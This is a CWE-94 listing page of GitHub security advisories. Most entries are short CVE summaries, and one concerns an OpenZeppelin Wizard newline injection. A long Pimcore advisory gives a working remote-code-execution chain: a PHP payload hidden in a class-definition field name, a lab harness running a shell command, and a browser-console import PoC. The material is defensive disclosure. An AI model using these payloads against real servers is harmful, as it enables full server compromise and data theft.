CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
9600 vulnerabilities reference this CWE, most recent first.
GHSA-9WRG-V9P9-P326
Vulnerability from github – Published: 2022-05-17 01:11 – Updated: 2022-05-17 01:11Unrestricted file upload vulnerability in process-upload.php in ProjectSend (formerly cFTP) r100 through r561 allows remote attackers to execute arbitrary PHP code by uploading a file with a PHP extension, then accessing it via a direct request to the file in the upload/files/ or upload/temp/ directory.
{
"affected": [],
"aliases": [
"CVE-2014-9567"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-01-07T18:59:00Z",
"severity": "HIGH"
},
"details": "Unrestricted file upload vulnerability in process-upload.php in ProjectSend (formerly cFTP) r100 through r561 allows remote attackers to execute arbitrary PHP code by uploading a file with a PHP extension, then accessing it via a direct request to the file in the upload/files/ or upload/temp/ directory.",
"id": "GHSA-9wrg-v9p9-p326",
"modified": "2022-05-17T01:11:53Z",
"published": "2022-05-17T01:11:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-9567"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/99548"
},
{
"type": "WEB",
"url": "http://osvdb.org/show/osvdb/116469"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/129759/ProjectSend-Arbitrary-File-Upload.html"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/35424"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/35660"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-9WVX-WM4C-R47F
Vulnerability from github – Published: 2022-05-01 07:26 – Updated: 2022-05-01 07:26The spell checking component of (1) Asbru Web Content Management before 6.1.22, (2) Asbru Web Content Editor before 6.0.22, and (3) Asbru Website Manager before 6.0.22 allows remote attackers to execute arbitrary commands via an unspecified parameter that is not sanitized before Aspell is invoked.
{
"affected": [],
"aliases": [
"CVE-2006-5258"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2006-10-12T22:07:00Z",
"severity": "MODERATE"
},
"details": "The spell checking component of (1) Asbru Web Content Management before 6.1.22, (2) Asbru Web Content Editor before 6.0.22, and (3) Asbru Website Manager before 6.0.22 allows remote attackers to execute arbitrary commands via an unspecified parameter that is not sanitized before Aspell is invoked.",
"id": "GHSA-9wvx-wm4c-r47f",
"modified": "2022-05-01T07:26:37Z",
"published": "2022-05-01T07:26:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-5258"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/fulldisclosure/2006-10/0306.html"
},
{
"type": "WEB",
"url": "http://editor.asbrusoft.com/page.php/id=727"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/22344"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/22353"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/22472"
},
{
"type": "WEB",
"url": "http://wcm.asbrusoft.com/page.php/id=791"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/20544"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/4004"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/4060"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/4061"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-9WW8-P9MV-XGQX
Vulnerability from github – Published: 2023-05-15 15:30 – Updated: 2024-04-04 04:07An issue found in FLIR-DVTEL version not specified allows a remote attacker to execute arbitrary code via a crafted request to the management page of the device.
{
"affected": [],
"aliases": [
"CVE-2023-29861"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-15T15:15:11Z",
"severity": "CRITICAL"
},
"details": "An issue found in FLIR-DVTEL version not specified allows a remote attacker to execute arbitrary code via a crafted request to the management page of the device.",
"id": "GHSA-9ww8-p9mv-xgqx",
"modified": "2024-04-04T04:07:14Z",
"published": "2023-05-15T15:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29861"
},
{
"type": "WEB",
"url": "https://github.com/Duke1410/CVE/blob/main/CVE-2023-29861"
},
{
"type": "WEB",
"url": "https://woolly-espadrille-ed5.notion.site/The-FLIR-DVTEL-camera-device-has-a-logic-flaw-vulnerability-363a2158e372440b80a2be739271c6f3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9WWG-WC9C-X3QC
Vulnerability from github – Published: 2021-12-11 00:00 – Updated: 2022-07-13 00:01A security vulnerability has been identified in HPE StoreServ Management Console (SSMC). An authenticated SSMC administrator could exploit the vulnerability to inject code and elevate their privilege in SSMC. The scope of this vulnerability is limited to SSMC. Note: The arrays being managed are not impacted by this vulnerability. This vulnerability impacts SSMC versions 3.4 GA to 3.8.1.
{
"affected": [],
"aliases": [
"CVE-2021-29214"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-10T17:15:00Z",
"severity": "HIGH"
},
"details": "A security vulnerability has been identified in HPE StoreServ Management Console (SSMC). An authenticated SSMC administrator could exploit the vulnerability to inject code and elevate their privilege in SSMC. The scope of this vulnerability is limited to SSMC. Note: The arrays being managed are not impacted by this vulnerability. This vulnerability impacts SSMC versions 3.4 GA to 3.8.1.",
"id": "GHSA-9wwg-wc9c-x3qc",
"modified": "2022-07-13T00:01:16Z",
"published": "2021-12-11T00:00:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29214"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US\u0026docId=emr_na-hpesbst04207en_us"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9WWH-M593-XCGX
Vulnerability from github – Published: 2022-05-14 03:40 – Updated: 2022-05-14 03:40An issue was discovered in Typesetter 5.1. It suffers from a Host header injection vulnerability, Using this attack, a malicious user can poison the web cache or perform advanced password reset attacks or even trigger arbitrary user re-direction.
{
"affected": [],
"aliases": [
"CVE-2018-6889"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-02-12T03:29:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Typesetter 5.1. It suffers from a Host header injection vulnerability, Using this attack, a malicious user can poison the web cache or perform advanced password reset attacks or even trigger arbitrary user re-direction.",
"id": "GHSA-9wwh-m593-xcgx",
"modified": "2022-05-14T03:40:05Z",
"published": "2022-05-14T03:40:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6889"
},
{
"type": "WEB",
"url": "https://securitywarrior9.blogspot.in/2018/02/host-header-injection-type-setter-cms-51.html"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/44028"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9WXG-VF3R-56HC
Vulnerability from github – Published: 2026-06-19 17:45 – Updated: 2026-06-19 17:45Summary
The Contracts Wizard generators printed info.securityContact and info.license verbatim into a single-line comment of the generated Solidity, Cairo, Stellar/Soroban, and Stylus source without rejecting line terminators. A newline (\n or \r\n) in either field ends the comment, so the text after it is emitted as source rather than remaining inside the comment — allowing arbitrary declarations to be injected into the generated contract.
Impact
This only matters when these fields are filled from input other than the user who will use the generated contract. Normal self-service use does not meet that condition:
- Web app, AI assistant, and CLI: the user supplies these fields and uses their own output, so a line break only affects their own contract. (These fields are not URL-derived, so shared links cannot set them.)
- Self-hosted API: same — the end user supplies the options and consumes the result.
The case that matters is an integration that fills these fields from untrusted input — for example, an MCP agent whose tool arguments are derived from content it processed. There, a newline in the value can add lines to output that otherwise looks like normal Wizard source. Impact is integrity-only; there is no execution on any Wizard service.
Patches
Fixed by rejecting line terminators in setInfo — the single code path all surfaces use — so the value can no longer break out of the comment. Upgrade to the patched versions. @openzeppelin/wizard-confidential and @openzeppelin/wizard-uniswap-hooks reuse this setInfo through their @openzeppelin/wizard dependency and receive the fix once that dependency is updated to a patched version.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.10.10"
},
"package": {
"ecosystem": "npm",
"name": "@openzeppelin/wizard"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.10.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.0"
},
"package": {
"ecosystem": "npm",
"name": "@openzeppelin/wizard-cairo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.6.1"
},
"package": {
"ecosystem": "npm",
"name": "@openzeppelin/wizard-stellar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.3.0"
},
"package": {
"ecosystem": "npm",
"name": "@openzeppelin/wizard-stylus"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T17:45:15Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Summary\n\nThe Contracts Wizard generators printed `info.securityContact` and `info.license` verbatim into a single-line comment of the generated Solidity, Cairo, Stellar/Soroban, and Stylus source without rejecting line terminators. A newline (`\\n` or `\\r\\n`) in either field ends the comment, so the text after it is emitted as source rather than remaining inside the comment \u2014 allowing arbitrary declarations to be injected into the generated contract.\n\n## Impact\n\nThis only matters when these fields are filled from input other than the user who will use the generated contract. Normal self-service use does not meet that condition:\n\n- **Web app, AI assistant, and CLI:** the user supplies these fields and uses their own output, so a line break only affects their own contract. (These fields are not URL-derived, so shared links cannot set them.)\n- **Self-hosted API:** same \u2014 the end user supplies the options and consumes the result.\n\nThe case that matters is an integration that fills these fields from untrusted input \u2014 for example, an MCP agent whose tool arguments are derived from content it processed. There, a newline in the value can add lines to output that otherwise looks like normal Wizard source. Impact is integrity-only; there is no execution on any Wizard service.\n\n## Patches\n\nFixed by rejecting line terminators in `setInfo` \u2014 the single code path all surfaces use \u2014 so the value can no longer break out of the comment. Upgrade to the patched versions. `@openzeppelin/wizard-confidential` and `@openzeppelin/wizard-uniswap-hooks` reuse this `setInfo` through their `@openzeppelin/wizard` dependency and receive the fix once that dependency is updated to a patched version.",
"id": "GHSA-9wxg-vf3r-56hc",
"modified": "2026-06-19T17:45:15Z",
"published": "2026-06-19T17:45:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OpenZeppelin/contracts-wizard/security/advisories/GHSA-9wxg-vf3r-56hc"
},
{
"type": "PACKAGE",
"url": "https://github.com/OpenZeppelin/contracts-wizard"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "OpenZeppelin Contracts Wizard: Line terminators in info.securityContact / info.license can inject lines into generated source"
}
GHSA-9X3H-HPX6-H3HP
Vulnerability from github – Published: 2022-11-05 12:00 – Updated: 2022-11-09 12:00In Splunk Enterprise versions below 8.2.9, 8.1.12, and 9.0.2, sending a malformed file through the Splunk-to-Splunk (S2S) or HTTP Event Collector (HEC) protocols to an indexer results in a blockage or denial-of-service preventing further indexing.
{
"affected": [],
"aliases": [
"CVE-2022-43572"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-04T23:15:00Z",
"severity": "MODERATE"
},
"details": "In Splunk Enterprise versions below 8.2.9, 8.1.12, and 9.0.2, sending a malformed file through the Splunk-to-Splunk (S2S) or HTTP Event Collector (HEC) protocols to an indexer results in a blockage or denial-of-service preventing further indexing.",
"id": "GHSA-9x3h-hpx6-h3hp",
"modified": "2022-11-09T12:00:24Z",
"published": "2022-11-05T12:00:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-43572"
},
{
"type": "WEB",
"url": "https://www.splunk.com/en_us/product-security/announcements/svd-2022-1111.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9X44-4GXF-8C25
Vulnerability from github – Published: 2026-08-28 19:17 – Updated: 2026-08-28 19:17Overview
A DataObject class-definition field name is concatenated, without an identifier allowlist, into the PHP class source that Pimcore generates for every DataObject class (protected $<fieldName>;). A user holding only the ordinary objects (DataObjects) permission can import a class definition whose field name closes the property and injects arbitrary PHP into the generated class file, achieving remote code execution on the server. The same unvalidated field name is also concatenated into ALTER TABLE DDL (ADD COLUMN/ADD INDEX), giving a parallel SQL-injection primitive. This is a sibling of CVE-2026-5394 (composite-index column SQL injection); that fix hardened only the compositeIndices sink and left the field-name path untouched.
Impact
Any authenticated user with the objects permission — the standard permission for content editors who work with DataObjects, not an administrator or a dedicated "classes" permission — can:
- Execute arbitrary PHP on the server (RCE). The injected code runs in the web application's PHP process when an object of the affected class is loaded (and is re-executed on every load), with full access to the application, its database credentials, secrets, and the host filesystem/OS — i.e. full server compromise.
- Execute arbitrary ALTER TABLE DDL (SQL injection) against the DataObject store/query tables (drop columns, add indexes, corrupt schema).
Confidence (read with the Reproduction section). The RCE sink — the real builder emitting attacker PHP into the generated class body, that class loading, and its
__construct()executing a shell command — is runtime-confirmed in an isolated harness (see Reproduction → "Lab confirmation"). The remaining links of the end-to-end chain are reasoned from source but not yet run end-to-end on a live Pimcore: (a) the Studio import path (generateLayoutTreeFromArray→save) preserving the field name without transform/reject; (b) the persistent-field DDL step not aborting the save (addressed by the ≤64-byte gadget); and (c) Pimcore instantiating the object (new, e.g. viaDataObject::getById()) so__construct()fires — autoloading alone executes only top-level class-body code, not the constructor. Treat the RCE as sink-confirmed + chain-reasoned, not as a fully-executed live exploit.
Because the injected PHP executes with the privileges of the PHP runtime (typically the web-server user) and reaches the operating system — beyond the authority of the Pimcore application account the attacker started from — the scope is assessed Changed (S:C), consistent with Pimcore's own scoring of the analogous Custom-Reports SQL injection (GHSA-3234-gxc3-pq6f, AV:N/AC:L/PR:L/UI:R/S:C, 8.7); the result here is RCE rather than read-only SQLi, yielding 9.9 Critical. S:C is the one debatable metric: a reviewer who scores the impact within the single PHP/OS authority as S:U lands at AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 High. The severity floor is therefore High regardless of the scope interpretation.
Technical Details
Source → sink (RCE)
Pimcore generates a PHP class file for every DataObject class. The property block is built in lib/DataObject/ClassBuilder/FieldDefinitionPropertiesBuilder.php:
php // lib/DataObject/ClassBuilder/FieldDefinitionPropertiesBuilder.php:27-32 foreach ($classDefinition->getFieldDefinitions() as $key => $def) { if (!$def instanceof ClassDefinition\Data\ReverseObjectRelation && !$def instanceof ClassDefinition\Data\CalculatedValue) { $cd .= 'protected $'.$key.";\n"; // $key = field NAME, concatenated raw into PHP source } }
$key is the field name. The string is assembled into a class body in lib/DataObject/ClassBuilder/ClassBuilder.php:104-112 (class <Name> extends <...> {\n + properties), written to var/classes/DataObject/<Class>.php, and autoloaded/included. A field name such as:
poc; public function __construct(){ /* attacker PHP */ } private $z
produces a valid class body containing an attacker-defined __construct() that executes when an object of the class is loaded.
That the maintainers know name→PHP-generation requires an identifier allowlist is shown by the sibling enum-option generator, which does enforce one:
php // lib/DataObject/ClassBuilder/SelectOptionsEnumBuilder.php:188 if (!preg_match('/^[A-Z-a-z_][A-Za-z0-9_]*$/', $selectOptionName)) { /* reject */ }
The field-name path has no equivalent.
Parallel SQL-injection sink
The same field name is concatenated, with backtick string quoting (not quoteIdentifier), into DDL:
php // models/DataObject/ClassDefinition/Helper/Dao.php:102 (addModifyColumn — ADD COLUMN) $this->db->executeQuery('ALTER TABLE ' . $table . ' ADD COLUMN ' . $colName . ' ' . $type . ...); // :52/:67 (addIndexToField — ADD INDEX <prefix><name> (<name>)) $this->db->executeQuery('ALTER TABLE ' . $table . ' ADD ' . $uniqueStr . 'INDEX ' . $prefix . $indexName . ' (' . $columnName . ');');
Source: models/DataObject/ClassDefinition/Dao.php:228 → $this->addModifyColumn($objectDatastoreTable, $key, $value->getColumnType(), '', 'NULL'), $key = field name. A backtick in the field name breaks out of the quoted identifier.
Contrast the patched composite-index sink, now guarded by an allowlist and quoteIdentifier (models/DataObject/Traits/CompositeIndexTrait.php).
Why validation does not stop it
The complete field-name validation across the import → save path:
models/DataObject/ClassDefinition/Service.php:296(generateLayoutTreeFromArray):preg_match('/<.+?>/', $name)— rejects only angle-bracket names. Backtick,;,{},(), quotes, spaces all pass.-
models/DataObject/ClassDefinition/Data.php:1292(isForbiddenName()) — a reserved-word denylist (in_array(strtolower($name), FORBIDDEN_NAMES)), no character filtering.
-
models/DataObject/ClassDefinition.php:1149— validates the class name/id only. No allowlist is applied to field names. The Studio UI enforces an identifier pattern client-side; the API does not.
Reachability / privilege
The HTTP entry point (pimcore/studio-backend-bundle):
```php // src/Class/Controller/DefinitionConfiguration/ImportController.php private const string ROUTE = '/class/definition/configuration-view/detail/{id}/import';
[Route(self::ROUTE, name: 'pimcore_studio_api_class_definition_import', methods: ['POST'])] #[IsGranted(UserPermissions::DATA_OBJECTS->value)] // UserPermissions::DATA_OBJECTS = 'objects' public function importClassDefinition(string $id, #[MapUploadedFile] UploadedFile $file): JsonResponse { return $this->jsonResponse( $this->classDefinitionService->importClassDefinitionFromJson($id, $file->getContent()) ); } ```
importClassDefinitionFromJson → ClassDefinitionRepository::importFromJson → model save() → saveClassInternal(), which runs the DDL (getDao()->save()) and then the PHP class generation (generateClassFilesInternal()). The endpoint requires only the objects permission (PR:L) and performs no field-name validation of its own. The single authorization gate is the route-level #[IsGranted('objects')]; a DataObject class definition is global schema (not a workspace-scoped element), so no element-/workspace-level secondary authorization applies to the import — objects alone reaches the sink, which is what anchors PR:L. This is the same import endpoint used in the CVE-2026-5394 PoC.
Execution order
In saveClassInternal(): field denylist check → class-name regex → getDao()->save() (DDL sink fires) → generateClassFilesInternal() (PHP-gen sink fires). The SQLi triggers first; the RCE payload either uses a non-persistent field type (no ADD COLUMN) or a ≤64-byte DDL-valid name so the DDL step does not abort before PHP generation.
Reproduction
Lab confirmation of the RCE sink (runtime, verified)
Using the unmodified FieldDefinitionPropertiesBuilder source driven by a minimal ClassDefinition whose single field name is a PHP payload (full harness in the attached rce_harness.php):
php $maliciousName = 'pwn; public function __construct(){ echo "INJECTED-RCE-RAN: ".trim(shell_exec("id")); } private $z'; $cd = new ClassDefinition([$maliciousName => new \stdClass()], 'PwnDemo', '99'); $props = (new FieldDefinitionPropertiesBuilder())->buildProperties($cd); file_put_contents('/tmp/PwnDemo.php', "<?php\nclass PwnDemo {\n".$props."}\n"); require '/tmp/PwnDemo.php'; new \PwnDemo();
Observed (php:8.3-cli):
text === generated properties block (real builder output) === protected $classId = "99"; protected $className = "PwnDemo"; protected $pwn; public function __construct(){ echo "INJECTED-RCE-RAN: ".trim(shell_exec("id")); } private $z; INJECTED-RCE-RAN: uid=0(root) gid=0(root) groups=0(root)
The real builder emitted a class body containing the attacker's __construct(), and loading the class executed the injected command.
End-to-end PoC (browser console, against the Studio API)
```js // Run in the browser DevTools console of an authenticated Pimcore Studio session // held by a user with the ordinary "objects" (DataObjects) permission. // NON-DESTRUCTIVE marker payload: writes a sentinel file.
const CLASS_ID = "REPLACE_WITH_A_THROWAWAY_TEST_CLASS_ID";
const fieldName = 'x;function __construct(){touch("/tmp/pimcore_rce_poc");}//';
const def = { layoutDefinitions: { name: "pimcore_root", fieldtype: "panel", datatype: "layout", children: [ { name: fieldName, fieldtype: "input", datatype: "data", title: "poc" } ] } };
const fd = new FormData(); fd.append("file", new Blob([JSON.stringify(def)], { type: "application/json" }), "import.json");
fetch(/pimcore-studio/api/class/definition/configuration-view/detail/${CLASS_ID}/import, { method: "POST", credentials: "include", body: fd, }).then(r => r.json()).then(console.log); ```
Steps:
- As a user with only the
objectspermission, create/own a throwaway DataObject class and note its id (CLASS_ID). -
- Open DevTools → Console and run the snippet above. Expected: a success JSON for the import (the class is regenerated).
-
- Load any object of that class (open it in Studio, or request it) to autoload the regenerated
var/classes/DataObject/<Class>.php.
- Load any object of that class (open it in Studio, or request it) to autoload the regenerated
-
- Confirm
/tmp/pimcore_rce_pocwas created on the server — proving the field name executed as PHP.
- Confirm
Q0a / Q0b
- Q0a (vendor accepted-risk): not by-design. The sibling enum-option generator enforces an identifier allowlist (
SelectOptionsEnumBuilder.php:188/^[A-Z-a-z_][A-Za-z0-9_]*$/) and the composite-index fix added one — the field-name path simply lacks the equivalent. Source-verified: the only import-path field-name check isService.php:297preg_match('/<.+?>/', $name)(angle-brackets only;;{}(), spaces, backtick all pass), andFieldDefinitionPropertiesBuilder.php:30concatenates the raw$keyintoprotected $<name>;. No upstream allowlist gate exists. PASS. - Q0b (venue-routed dedup; venue = github-security-advisory): sibling/incomplete-coverage of CVE-2026-5394 / GHSA-r2f4-ff2p-xc64 (DataObject composite-index SQL injection), whose fix hardened only
CompositeIndexTrait. The field-name → PHP-codegen RCE (FieldDefinitionPropertiesBuilder) and the field-name → ALTER TABLE DDL (Helper/Dao.php) are distinct, unfixed sinks. Not covered by GHSA-3234 (Custom Reports SQLi, different feature). Not a duplicate. CLEAR. - Secondary sink noted:
Service.php:517also concatenates the raw field name into a generated PHP string literal (public const FIELD_... = '<name>';) — a second codegen-injection point (string-literal breakout via'), same root cause; the allowlist fix closes both.
Suggested Fix
Apply an identifier allowlist to field names at the model boundary, identical in spirit to the enum-option guard and the composite-index fix. In models/DataObject/ClassDefinition/Data.php (e.g. in setName() or a central validity check invoked from saveClassInternal()), reject any name not matching /^[a-zA-Z][a-zA-Z0-9_]{0,62}$/:
php // 63-char cap keeps the name within MySQL's 64-byte identifier limit (1 leading letter + ≤62). if (!preg_match('/^[a-zA-Z][a-zA-Z0-9_]{0,62}$/', $name)) { throw new \InvalidArgumentException(sprintf('Invalid field name: %s', $name)); }
Additionally, defense-in-depth: use quoteIdentifier() for $colName/$indexName in models/DataObject/ClassDefinition/Helper/Dao.php, and never interpolate identifiers into generated PHP without allowlisting. Enforce the same check in the Studio import controller/service so client-side-only validation cannot be bypassed via the API.
Privilege-model fix (root cause, separate from the input filter). A class-definition import changes the database schema and generates server-side PHP, yet it is gated only by the content-editor objects permission. Gate class-definition import/save behind a dedicated administrative permission (or admin), distinct from objects.
Operator-side detection / mitigation (deployable today, before a patch):
- Detection: File Integrity Monitoring on
var/classes/DataObject/*.php— alert on unexpected changes, and specifically on the appearance offunction/__construct(tokens in a generated class body. Raise the class-definition-import audit event to a high-priority alert. Flag any non-admin POST to.../class/definition/configuration-view/detail/*/import. -
- Interim mitigation: restrict the import endpoint to administrators via a custom security voter; or disable class-definition import in production; or add a WAF rule limiting POST
.../class/definition/configuration-view/detail/*/importto trusted operators.
- Interim mitigation: restrict the import endpoint to administrators via a custom security voter; or disable class-definition import in production; or add a WAF rule limiting POST
Additional codegen-injection sinks sharing this root cause
The same "unvalidated identifier → generated PHP" pattern exists at other identifier boundaries:
- Class NAME →
ClassBuilder.php:104:'class '.ucfirst($classDefinition->getName()).' extends '.... The only gate isClassDefinition.php:1149preg_match('/^[a-zA-Z]\w+/', getName())— missing the$end-anchor, soFoo){};<php>passes the prefix match. -
- FieldCollection / ObjectBrick KEY →
FieldCollectionClassBuilder.php:58('class '.ucfirst($definition->getKey()).' extends ') and the objectbrick equivalent — reached via their own import endpoints. Exploitability caveat: unlike the runtime-confirmed field-name vector, the class-name vector is NOT independently confirmed as RCE and has a structural blocker. The class name determines the generated file's path, and PHPClassDumper writes the file but does not include it — the generated class is executed only when the autoloader maps a clean class reference. The field-name vector is reliable precisely because it keeps the filename clean. The class-name/key sinks are therefore reported here as fix-completeness / defense-in-depth (anchor the regex), not as a second confirmed RCE.
- FieldCollection / ObjectBrick KEY →
Disclosure Timeline
- 2026-05-29: Discovered (sibling sweep of CVE-2026-5394); RCE sink runtime-confirmed in a lab harness using the unmodified builder source.
-
- (Reported to vendor: to be filled on submission via GitHub Security Advisory.)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 12.3.9"
},
"package": {
"ecosystem": "Packagist",
"name": "pimcore/pimcore"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "12.3.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.1.5"
},
"package": {
"ecosystem": "Packagist",
"name": "pimcore/pimcore"
},
"ranges": [
{
"events": [
{
"introduced": "2026.1.0"
},
{
"fixed": "2026.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55634"
],
"database_specific": {
"cwe_ids": [
"CWE-89",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T19:17:42Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Overview\n\nA DataObject **class-definition field name** is concatenated, without an identifier allowlist, into the PHP class source that Pimcore generates for every DataObject class (`protected $\u003cfieldName\u003e;`). A user holding only the ordinary `objects` (DataObjects) permission can import a class definition whose field name closes the property and injects arbitrary PHP into the generated class file, achieving remote code execution on the server. The same unvalidated field name is also concatenated into ALTER TABLE DDL (`ADD COLUMN`/`ADD INDEX`), giving a parallel SQL-injection primitive. This is a sibling of CVE-2026-5394 (composite-index column SQL injection); that fix hardened only the `compositeIndices` sink and left the field-name path untouched.\n\n## Impact\n\nAny authenticated user with the `objects` permission \u2014 the standard permission for content editors who work with DataObjects, not an administrator or a dedicated \"classes\" permission \u2014 can:\n\n1. **Execute arbitrary PHP on the server (RCE).** The injected code runs in the web application\u0027s PHP process when an object of the affected class is loaded (and is re-executed on every load), with full access to the application, its database credentials, secrets, and the host filesystem/OS \u2014 i.e. full server compromise.\n2. **Execute arbitrary ALTER TABLE DDL (SQL injection)** against the DataObject store/query tables (drop columns, add indexes, corrupt schema).\n**Confidence (read with the Reproduction section).** The RCE sink \u2014 the real builder emitting attacker PHP into the generated class body, that class loading, and its `__construct()` executing a shell command \u2014 is **runtime-confirmed in an isolated harness** (see Reproduction \u2192 \"Lab confirmation\"). The remaining links of the end-to-end chain are **reasoned from source but not yet run end-to-end on a live Pimcore**: (a) the Studio import path (`generateLayoutTreeFromArray` \u2192 `save`) preserving the field name without transform/reject; (b) the persistent-field DDL step not aborting the save (addressed by the \u226464-byte gadget); and (c) Pimcore instantiating the object (`new`, e.g. via `DataObject::getById()`) so `__construct()` fires \u2014 autoloading alone executes only top-level class-body code, not the constructor. Treat the RCE as **sink-confirmed + chain-reasoned**, not as a fully-executed live exploit.\n\nBecause the injected PHP executes with the privileges of the PHP runtime (typically the web-server user) and reaches the operating system \u2014 beyond the authority of the Pimcore application account the attacker started from \u2014 the scope is assessed Changed (`S:C`), consistent with Pimcore\u0027s own scoring of the analogous Custom-Reports SQL injection (GHSA-3234-gxc3-pq6f, `AV:N/AC:L/PR:L/UI:R/S:C`, 8.7); the result here is RCE rather than read-only SQLi, yielding **9.9 Critical**. `S:C` is the one debatable metric: a reviewer who scores the impact within the single PHP/OS authority as `S:U` lands at `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` = **8.8 High**. The severity floor is therefore High regardless of the scope interpretation.\n\n## Technical Details\n\n### Source \u2192 sink (RCE)\n\nPimcore generates a PHP class file for every DataObject class. The property block is built in `lib/DataObject/ClassBuilder/FieldDefinitionPropertiesBuilder.php`:\n\n```php // lib/DataObject/ClassBuilder/FieldDefinitionPropertiesBuilder.php:27-32 foreach ($classDefinition-\u003egetFieldDefinitions() as $key =\u003e $def) { if (!$def instanceof ClassDefinition\\Data\\ReverseObjectRelation \u0026\u0026 !$def instanceof ClassDefinition\\Data\\CalculatedValue) { $cd .= \u0027protected $\u0027.$key.\";\\n\"; // $key = field NAME, concatenated raw into PHP source } } ```\n\n`$key` is the field name. The string is assembled into a class body in `lib/DataObject/ClassBuilder/ClassBuilder.php:104-112` (`class \u003cName\u003e extends \u003c...\u003e {\\n` + properties), written to `var/classes/DataObject/\u003cClass\u003e.php`, and autoloaded/included. A field name such as:\n\n``` poc; public function __construct(){ /* attacker PHP */ } private $z ```\n\nproduces a valid class body containing an attacker-defined `__construct()` that executes when an object of the class is loaded.\n\nThat the maintainers know name\u2192PHP-generation requires an identifier allowlist is shown by the sibling **enum-option** generator, which does enforce one:\n\n```php // 